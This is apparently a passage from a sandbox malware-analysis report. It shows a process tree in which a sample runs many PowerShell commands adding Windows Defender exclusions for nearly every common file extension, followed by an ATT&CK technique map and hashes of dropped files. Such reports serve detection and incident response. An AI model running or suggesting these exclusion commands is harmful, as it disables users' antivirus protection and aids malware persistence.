  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
  2⤵
  PID:18460
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
  2⤵
  PID:18468
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
  2⤵
  PID:18476
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
  2⤵
  PID:18484
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
  2⤵
  PID:18492
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18500
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
  2⤵
  PID:18508
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
  2⤵
  PID:18516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18524
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
  2⤵
  PID:18532
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:18540
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
  2⤵
  PID:18548
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18556
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18564
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18572
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18580
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
  2⤵
  PID:18588
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
  2⤵
  PID:18596
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18604
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18612
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18620
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:18628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:18636
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
  2⤵
  PID:18644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
  2⤵
  PID:18652
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18660
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18668
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
  2⤵
  PID:18676
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
  2⤵
  PID:18684
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
  2⤵
  PID:18692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
  2⤵
  PID:18700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
  2⤵
  PID:18708
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
  2⤵
  PID:18716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18732
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
  2⤵
  PID:18740
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
  2⤵
  PID:18748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18764
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
  2⤵
  PID:18772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
  2⤵
  PID:18780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
  2⤵
  PID:18804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18820
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
  2⤵
  PID:18828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
  2⤵
  PID:18836
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
  2⤵
  PID:18844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18852
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
  2⤵
  PID:18860
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
  2⤵
  PID:18868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
  2⤵
  PID:18876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
  2⤵
  PID:18892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
  2⤵
  PID:18900
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
  2⤵
  PID:18908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
  2⤵
  PID:18924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
  2⤵
  PID:18956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
  2⤵
  PID:18980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
  2⤵
  PID:18988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
  2⤵
  PID:18996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
  2⤵
  PID:19004
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
  2⤵
  PID:19012
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
  2⤵
  PID:19020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
  2⤵
  PID:19036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
  2⤵
  PID:19060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19076
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
  2⤵
  PID:19084
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
  2⤵
  PID:19092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
  2⤵
  PID:19100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
  2⤵
  PID:19108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
  2⤵
  PID:19116
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
  2⤵
  PID:19124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
  2⤵
  PID:19132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
  2⤵
  PID:19144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19152
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
  2⤵
  PID:19168
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
  2⤵
  PID:19176
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
  2⤵
  PID:19184
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
  2⤵
  PID:19192
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19200
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
  2⤵
  PID:19208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
  2⤵
  PID:19216
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19224
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19240
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
  2⤵
  PID:19248
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
  2⤵
  PID:19256
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
  2⤵
  PID:19264
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
  2⤵
  PID:19272
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
  2⤵
  PID:19280
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
  2⤵
  PID:19288
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
  2⤵
  PID:19296
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
  2⤵
  PID:19304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
  2⤵
  PID:19312
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19320
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
  2⤵
  PID:19328
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:19336
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
  2⤵
  PID:19344
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
  2⤵
  PID:19352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
  2⤵
  PID:19360
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
  2⤵
  PID:19368
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
  2⤵
  PID:19376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
  2⤵
  PID:19384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
  2⤵
  PID:19392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
  2⤵
  PID:19400
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
  2⤵
  PID:19408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
  2⤵
  PID:19416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
  2⤵
  PID:19424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
  2⤵
  PID:19432
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
  2⤵
  PID:19440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
  2⤵
  PID:19448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
  2⤵
  PID:19460
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
  2⤵
  PID:19468
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19476
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
  2⤵
  PID:19484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:9056

C:\Windows\SysWOW64\winsecsvc.exe
C:\Windows\SysWOW64\winsecsvc.exe
1⤵
PID:7452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 23f2b06c930d82897e1c39e2a0ad0a1d1941f460c6d22dc540cf8a445ac080d0
MD5 bad8b04c0d4ece63aa062667d3aaf8fb
SHA1 5c203c53395272a3f58728db70ee54a128683aa9
SHA512 bcc52614615aa4050eb9b2542756c49490edc2dd654712eb0a7ebfd8fa7f68af0804bdd3bcf1b5a073b2e749c443b4adef9b415a8860cb4462fd43c3d5a645e7
SSDEEP 1536:4hdKYo2hq3vdfKQVGflJdCHYWh4iUxPR40i71YiyENcMrxoV3CNBQkj2Ya5eDjIj:47KYo2hq3vdfKQVGflJdwYWqiUPRCqpH
TLSH
T1675374D3E9204E75E1A66F3EF15622627C34394690F8113212DC25AFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 0de224a9e994181dc907c95bcabb742b4da41e4587a3ab2206ed5cbbe4714226
MD5 a3a94f72a35f556aedfa8080d05636f0
SHA1 14d7debe84c425befd52911180fab1dc850b2163
SHA512 861ec01e52c03f36cfb58331aafbad1b717198c65678c08ef5e3bacb7f9946ecb844c32f1ae132e85bdeab2c6b0644ce591b32423c5400fc1183c9df6aaad8a3
SSDEEP 1536:KjF+jH0/tAHkPHOdB7fKQ+flJdpYoMibjoRjdvRAJDjLbRhxUp4gyMkyea5/xZi5:AF+jH0/tAHkfOdB7fKQ+flJdpYoMibjb
TLSH
T1325374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

